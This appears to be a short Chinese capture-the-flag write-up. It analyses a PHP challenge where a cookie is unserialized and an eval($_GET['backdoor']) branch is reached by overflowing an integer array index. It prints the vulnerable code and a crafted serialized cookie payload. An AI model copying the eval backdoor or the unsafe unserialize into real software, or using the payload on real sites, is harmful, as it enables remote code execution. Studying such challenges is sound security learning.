cookie语句

cookie语句

通过对得到的两个php文件进行分析

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

通过对代码的分析,我们可知user.php文件是创建了一个User对象,里面有一个变量count

同时add_api.php文件中的

1
$user=unserialize($_COOKIE["data"])

表示获取cookie为data的序列,解序列赋给user,里面有一个count的变量,手动赋值

而其中的代码

1
$count[++$user->count]=1;

表示对count数组中的第n+1位赋值为1
由于第五排的一个赋值操作,不需要绕过第五排的赋值操作才能进入else的后门程序,所以使用PHP溢出来跨过

因此可以构造payloay

1
2
3
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
#i表示int
#s表示string,要加上字符串的长度

cookie语句的详细学习:https://blog.csdn.net/sm20170867238/article/details/90762010